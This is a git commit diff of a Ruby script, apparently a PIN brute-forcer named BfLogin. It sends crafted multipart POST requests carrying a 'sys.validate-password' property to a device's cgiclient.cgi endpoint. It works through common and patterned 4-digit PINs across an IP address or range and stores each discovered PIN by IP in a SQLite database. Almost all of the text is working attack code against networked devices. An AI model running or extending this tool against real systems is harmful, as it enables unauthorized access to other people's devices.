turning into a class, adding a db - it's almost a real project

This commit is contained in:
Conor Horan-Kates 2016-07-19 07:23:12 -07:00
parent a6cf118018
commit 3dd7b04e9e

View File

@ -3,54 +3,85 @@
require 'json' require 'json'
require 'net/http' require 'net/http'
require 'sequel'
require 'uri' require 'uri'
# return a Net::HTTP::Post request suitable for validating +pin+ class BfLogin
def get_request(uri, pin)
request = Net::HTTP::Post.new(uri.request_uri)
request['Accept'] = 'application/json, text/plain, */*'
request['Accept-Encoding'] = 'gzip, deflate'
request['Accept-Language'] = 'en-US,en;q=0.8'
request['Connection'] = 'keep-alive'
request['Content-Type'] = 'multipart/form-data; boundary=---------------------------7da24f2e50046;charset=UTF-8'
request['Origin'] = sprintf('http://%s', uri.host)
request['Referer'] = sprintf('http://%s/login', uri.host)
request['User-Agent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36'
# TODO determine necessity of this, given fuzzing, it's probably unnecessary attr_reader :address, :dbh, :errors, :responses
request['Cookie'] = sprintf('_ga=GA1.4.595462255.%s', Time.now.to_i)
body = Array.new def initialize(address)
@address = address
@errors = Array.new
@responses = Array.new
body << '-----------------------------7da24f2e50046' # this is a magic number: https://stackoverflow.com/questions/37701805/ie11-content-type-false-in-ie11-it-doesnt-work db = 'bf_login.db'
body << 'Content-Disposition: form-data; name="file"; filename="temp.txt"' # TODO should look into what happens when we point at a different file.. @dbh = Sequel.connect(sprintf('sqlite://%s', db))
body << 'Content-type: plain/text' end
body << '' # newline
body << sprintf('<properties sys.validate-password="%s"/>', pin)
body << '-----------------------------7da24f2e50046'
request.body = body.join("\r\n") def initialize_db
request @db.create_table? :pins do
end primary_key :id
String :ip
String :pin
Date :created
end
end
# return a Net::HTTP::Response object def add_pin_to_db(ip, pin)
def check_pin(url, pin) @dbh[:pins].insert(
:ip => ip,
:pin => pin,
:created => Time.now,
)
end
uri = URI.parse(url) # return a Net::HTTP::Post request suitable for validating +pin+
http = Net::HTTP.new(uri.host, uri.port) def get_request(uri, pin)
request = Net::HTTP::Post.new(uri.request_uri)
request['Accept'] = 'application/json, text/plain, */*'
request['Accept-Encoding'] = 'gzip, deflate'
request['Accept-Language'] = 'en-US,en;q=0.8'
request['Connection'] = 'keep-alive'
request['Content-Type'] = 'multipart/form-data; boundary=---------------------------7da24f2e50046;charset=UTF-8'
request['Origin'] = sprintf('http://%s', uri.host)
request['Referer'] = sprintf('http://%s/login', uri.host)
request['User-Agent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36'
# TODO determine necessity of this, given fuzzing, it's probably unnecessary
request['Cookie'] = sprintf('_ga=GA1.4.595462255.%s', Time.now.to_i)
body = Array.new
body << '-----------------------------7da24f2e50046' # this is a magic number: https://stackoverflow.com/questions/37701805/ie11-content-type-false-in-ie11-it-doesnt-work
body << 'Content-Disposition: form-data; name="file"; filename="temp.txt"' # TODO should look into what happens when we point at a different file..
body << 'Content-type: plain/text'
body << '' # newline
body << sprintf('<properties sys.validate-password="%s"/>', pin)
body << '-----------------------------7da24f2e50046'
request.body = body.join("\r\n")
request
end
# return True|False
def check_pin(url, pin)
uri = URI.parse(url)
http = Net::HTTP.new(uri.host, uri.port)
request = get_request(uri, pin)
response = http.request(request)
# <properties sys.validate-password="0"></properties>
response.body.match(/1/) ? true : false
end
request = get_request(uri, pin)
http.request(request)
end end
# #
## main() ## main()
address = ARGV.pop
errors = Array.new
responses = Array.new
output = sprintf('%s-logs-%s.%s.%s.json', __FILE__, address, Time.now.to_i, $$)
if address.nil? if address.nil?
puts sprintf('usage: %s <ipaddress/range>', __FILE__) puts sprintf('usage: %s <ipaddress/range>', __FILE__)
puts sprintf(' %s 192.168.1.42', __FILE__) puts sprintf(' %s 192.168.1.42', __FILE__)
@ -77,7 +108,7 @@ end
prioritized = [1234, 2546, 1739, 9876, 1425, 4152] # commonly used PINs prioritized = [1234, 2546, 1739, 9876, 1425, 4152] # commonly used PINs
# TODO come up with way to generate patterns - keys that are nearby # TODO come up with way to generate patterns - keys that are nearby, incremental/decremental ranges
# commonly used PINs that follow a pattern # commonly used PINs that follow a pattern
0.upto(9) do |i| 0.upto(9) do |i|
@ -93,6 +124,7 @@ pins = [ prioritized, _pins.keys ].flatten # hackery
targets.each do |target| targets.each do |target|
app = BfLogin.new(target)
url = sprintf('http://%s/cgi-bin/cgiclient.cgi?CGI.RequestProperties=', target) url = sprintf('http://%s/cgi-bin/cgiclient.cgi?CGI.RequestProperties=', target)
puts sprintf('url: [%s]', url) puts sprintf('url: [%s]', url)
@ -104,11 +136,11 @@ targets.each do |target|
puts sprintf(' trying pin[%s]', pin) puts sprintf(' trying pin[%s]', pin)
response = check_pin(url, pin) response = check_pin(url, pin)
responses << response responses << { :ip => target, :pin => pin, :results => response }
# <properties sys.validate-password="0"></properties> if response
if response.body.match(/1/) app.add_pin_to_db(target, pin)
puts sprintf('INFO: found the pin[%s]', pin) puts sprintf('INFO: found PIN[%s] for [%s]', pin, target)
break break
end end
@ -121,12 +153,16 @@ targets.each do |target|
end end
end end
end
# TODO something better here unless errors.empty?
errors.each do |e| errors.each do |e|
puts sprintf('ERROR: pin[%s] trace[%s]', e[:pin], e[:exception]) puts sprintf('ERROR: pin[%s] trace[%s]', e[:pin], e[:exception])
end end
puts sprintf('ERROR: [%d] total errors', errors.size) puts sprintf('ERROR: [%d] total errors', errors.size)
exit 1 unless errors.empty? else
# TODO this is going to get lost in the console output when running against multiple targets -- should we stop printing the PINs attempted?
puts sprintf('tested[%s] PINs, found correct one[%s]', responses.size, )
end
end